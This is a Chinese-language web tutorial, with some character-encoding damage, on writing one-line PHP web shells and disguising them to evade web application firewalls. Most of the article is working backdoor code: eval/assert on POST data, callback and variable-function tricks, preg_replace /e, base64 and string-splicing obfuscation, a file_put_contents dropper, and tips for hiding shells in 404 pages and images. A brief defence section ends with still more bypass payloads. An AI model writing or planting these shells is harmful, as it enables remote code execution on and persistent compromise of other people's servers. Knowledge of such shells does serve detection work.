php一句話(huà)木馬變形技巧
一、什么是一句話(huà)木馬?
一句話(huà)木馬就是只需要一行代碼的木馬,短短一行代碼,就能做到和大馬相當(dāng)?shù)墓δ堋榱死@過(guò)waf的檢測(cè),一句話(huà)木馬出現(xiàn)了無(wú)數(shù)中變形,但本質(zhì)是不變的:木馬的函數(shù)執(zhí)行了我們發(fā)送的命令。
二、我們?nèi)绾伟l(fā)送命令,發(fā)送的命令如何執(zhí)行?
我們可以通過(guò) GET、POST、COOKIE這三種方式向一個(gè)網(wǎng)站提交數(shù)據(jù),一句話(huà)木馬用 $_GET[' ']、$_POST[' ']、$_COOKIE[' ']
接收我們傳遞的數(shù)據(jù),并把接收的數(shù)據(jù)傳遞給一句話(huà)木馬中執(zhí)行命令的函數(shù),進(jìn)而執(zhí)行命令。 所以看到的經(jīng)典一句話(huà)木馬大多都是只有兩個(gè)部分,一個(gè)是可以執(zhí)行代碼的函數(shù)部分,一個(gè)是接收數(shù)據(jù)的部分。
0.eval函數(shù)
<?php eval($_POST['a']) ?>
其中eval就是執(zhí)行命令的函數(shù),**$_POST[‘a(chǎn)']**就是接收的數(shù)據(jù)。eval函數(shù)把接收的數(shù)據(jù)當(dāng)作PHP代碼來(lái)執(zhí)行。這樣我們就能夠讓插入了一句話(huà)木馬的網(wǎng)站執(zhí)行我們傳遞過(guò)去的任意PHP語(yǔ)句。這便是一句話(huà)木馬的強(qiáng)大之處。
因?yàn)槟抉R是接收post請(qǐng)求中 “a” 的數(shù)據(jù)( $_POST[‘a(chǎn)']),所以我們必須以post方法發(fā)送數(shù)據(jù)并且將我們要執(zhí)行的代碼賦值給“a”。如果把木馬中的post替換成get,那么我么就需要以GET方法發(fā)送“a”,
使用 其他函數(shù)制作一句話(huà)木馬
1.assert函數(shù)
<?php assert(@$_POST['a']); ?>
2.create_function函數(shù)
<?php$fun = create_function('',$_POST['a']);$fun();?>
把用戶(hù)傳遞的數(shù)據(jù)生成一個(gè)函數(shù)fun(),然后再執(zhí)行fun()
3. call_user_func回調(diào)函數(shù)
<?php@call_user_func(assert,$_POST['a']);?>
call_user_func這個(gè)函數(shù)可以調(diào)用其它函數(shù),被調(diào)用的函數(shù)是call_user_func的第一個(gè)函數(shù),被調(diào)用的函數(shù)的參數(shù)是call_user_func的第二個(gè)參數(shù)。
這樣的一個(gè)語(yǔ)句也可以完成一句話(huà)木馬。一些被waf攔截的木馬可以配合這個(gè)函數(shù)繞過(guò)waf。
4.preg_replace函數(shù)
<?php@preg_replace("/abcde/e", $_POST['a'], "abcdefg");?>
這個(gè)函數(shù)原本是利用正則表達(dá)式替換符合條件的字符串,但是這個(gè)函數(shù)有一個(gè)功能——可執(zhí)行命令。
這個(gè)函數(shù)的第一個(gè)參數(shù)是正則表達(dá)式,按照PHP的格式,表達(dá)式在兩個(gè)“/”之間。如果我們?cè)谶@個(gè)表達(dá)式的末尾加上“e”,那么這個(gè)函數(shù)的第二個(gè)參數(shù)就會(huì)被當(dāng)作代碼執(zhí)行。
5. file_put_contents函數(shù)
利用函數(shù)生成木馬
<?php $test='<?php $a=$_POST["cmd"];assert($a); ?>'; file_put_contents("Trojan.php", $test); ?>
函數(shù)功能:生成一個(gè)文件,第一個(gè)參數(shù)是文件名,第二個(gè)參數(shù)是文件的內(nèi)容。
6.array數(shù)組
<?php$a='assert';array_map("$a",$_REQUEST);?>
上述定義參數(shù)a并賦值‘a(chǎn)ssert',利用array_map()函數(shù)將執(zhí)行語(yǔ)句進(jìn)行拼接。最終實(shí)現(xiàn)assert($_REQUEST)
。
<?php$item['JON']='assert';$array[]=$item;$array[0]['JON']($_POST["TEST"]);?>
利用函數(shù)的組合效果,使得多個(gè)參數(shù)在傳遞后組合成一段命令并執(zhí)行。
7.PHP變量函數(shù)
<?php$a = "eval";$a(@$_POST['a']);?>
第三行使用了變量函數(shù)$a,變量?jī)?chǔ)存了函數(shù)名eval,便可以直接用變量替代函數(shù)名。
三、如何讓一句話(huà)木馬繞過(guò)waf ?
waf是網(wǎng)站的防火墻,例如安全狗就是waf的一種。waf通常以關(guān)鍵字判斷是否為一句話(huà)木馬,但是一句話(huà)木馬的變形有很多種,waf根本不可能全部攔截。想要繞過(guò)waf,需要掌握各種PHP小技巧,掌握的技巧多了,把技巧結(jié)合起來(lái),設(shè)計(jì)出屬于自己的一句話(huà)木馬。
1.PHP可變變量
<?php$bb="eval";$aa="bb";$$aa($_POST['a']);?>
看這句就能理解上述語(yǔ)句:$$aa = ( ( (aa) = $ (‘bb') = $bb = “eval”
2.str_replace函數(shù)
<?php$a=str_replace("Waldo", "", "eWaldoval");$a(@$_POST['a']);?>
函數(shù)功能:在第三個(gè)參數(shù)中,查找第一個(gè)參數(shù),并替換成第二個(gè)參數(shù)。這里第二個(gè)參數(shù)為空字符串,就相當(dāng)于刪除"Waldo"。
3. base64_decode函數(shù)
<?php$a=base64_decode("ZXZhbA==")$a($_POST['a']);?>
這里是base64解密函數(shù),"ZXZhbA=="是eval的base64加密。
4."."操作符
<?php$a="e"."v";$b="a"."l";$c=$a.$b;$c($_POST['a']);?>
5.parse_str函數(shù)
<?php$str="a=eval";parse_str($str);$a($_POST['a']);?>
執(zhí)行這個(gè)函數(shù)后,生成一個(gè)變量$a,值為字符串"eval"
6.更換數(shù)據(jù)來(lái)源
6.1GET篇
<?php $_GET[a]($_GET[b]); ?>
<?php @eval( $_GET[$_GET[b]])>
利用方法:
b=cmd&cmd=phpinfo()
6.2利用script代替<? 、?>標(biāo)簽
<script language="php">@eval_r($_GET[b])</script>
6.3利用session
7.字符替換或特殊編碼
8.木馬藏匿
1.404頁(yè)面
2.圖片木馬,用文件包含調(diào)用
四、總結(jié)
繞過(guò)技巧:
- 更換執(zhí)行數(shù)據(jù)來(lái)源
- 字符替換或者編碼
- 采取隱匿手段
tips:使用一句話(huà)木馬的時(shí)候可以在函數(shù)前加”@”符,這個(gè)符號(hào)讓php語(yǔ)句不顯示錯(cuò)誤信息,增加隱蔽性。
五、防御
1.禁用assert()函數(shù),監(jiān)控eval()
2.搜索日志的assert。
亦可能繞過(guò):
<?php $c=$_GET[n].'t'; @$c($_POST[cmd]); ?>
<?php $c=base64_decode('YXNzZXI=').$_GET[n].'t'; @$c($_POST[cmd]); ?>
以上就是php一句話(huà)木馬變形技巧的詳細(xì)內(nèi)容,更多關(guān)于php一句話(huà)木馬變形技巧的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
- PHP與SQL語(yǔ)句寫(xiě)一句話(huà)木馬總結(jié)
- php eval函數(shù)一句話(huà)木馬代碼
- 一句話(huà)木馬的原理及利用分析(asp,aspx,php,jsp)
- php一句話(huà)cmdshell新型 (非一句話(huà)木馬)
- asp,php一句話(huà)木馬整理方便查找木馬
- PHP Web木馬掃描器代碼分享
- php木馬webshell掃描器代碼
- PHP Web木馬掃描器代碼 v1.0 安全測(cè)試工具
- 精確查找PHP WEBSHELL木馬的方法(1)
- Ha0k 0.3 PHP 網(wǎng)頁(yè)木馬修改版
- PHP 木馬攻擊的防御設(shè)置方法
- 全世界最小的php網(wǎng)頁(yè)木馬一枚 附PHP木馬的防范方法
相關(guān)文章
php對(duì)xml文件的增刪改查操作實(shí)現(xiàn)方法分析
這篇文章主要介紹了php對(duì)xml文件的增刪改查操作實(shí)現(xiàn)方法,結(jié)合具體實(shí)例形式分析了php對(duì)xml文件的載入及xml節(jié)點(diǎn)的讀取、修改、查詢(xún)等相關(guān)操作技巧,需要的朋友可以參考下2017-05-05利用php+mcDropdown實(shí)現(xiàn)文件路徑可在下拉框選擇
以下是對(duì)php+mcDropdown實(shí)現(xiàn)文件路徑可在下拉框進(jìn)行選擇的方法進(jìn)行了詳細(xì)的分析介紹,需要的朋友可以過(guò)來(lái)參考下2013-08-08gearman管理工具GearmanManager的安裝與php使用方法示例
這篇文章主要介紹了gearman管理工具GearmanManager的安裝與php使用方法,結(jié)合實(shí)例形式詳細(xì)分析了gearman管理工具GearmanManager的安裝及php使用GearmanManager相關(guān)配置與操作注意事項(xiàng),需要的朋友可以參考下2020-02-02php實(shí)現(xiàn)統(tǒng)計(jì)網(wǎng)站在線(xiàn)人數(shù)的方法
這篇文章主要介紹了php實(shí)現(xiàn)統(tǒng)計(jì)網(wǎng)站在線(xiàn)人數(shù)的方法,通過(guò)獲取服務(wù)器端網(wǎng)絡(luò)參數(shù)及文本文件讀寫(xiě)實(shí)現(xiàn)統(tǒng)計(jì)在線(xiàn)人數(shù)的功能,非常簡(jiǎn)單實(shí)用,需要的朋友可以參考下2015-05-05刪除無(wú)限分類(lèi)并同時(shí)刪除它下面的所有子分類(lèi)的方法
今天晚上上Q的時(shí)候 ,一個(gè)以前的學(xué)員在網(wǎng)上問(wèn)我,怎么刪除一個(gè)無(wú)限分類(lèi)的時(shí)候同時(shí)刪除它下面的所有子分類(lèi)。我把代碼稍微整理了一下,發(fā)出來(lái),放在php學(xué)員問(wèn)答里面,方便以后的人查看 。2010-08-08php中實(shí)現(xiàn)可以返回多個(gè)值的函數(shù)實(shí)例
這篇文章主要介紹了php中實(shí)現(xiàn)可以返回多個(gè)值的函數(shù),實(shí)例分析了php使用數(shù)組返回多個(gè)值的技巧,需要的朋友可以參考下2015-03-03PHP生成網(wǎng)頁(yè)快照 不用COM不用擴(kuò)展.
PHP生成網(wǎng)頁(yè)快照, 不用COM不用擴(kuò)展.2010-02-02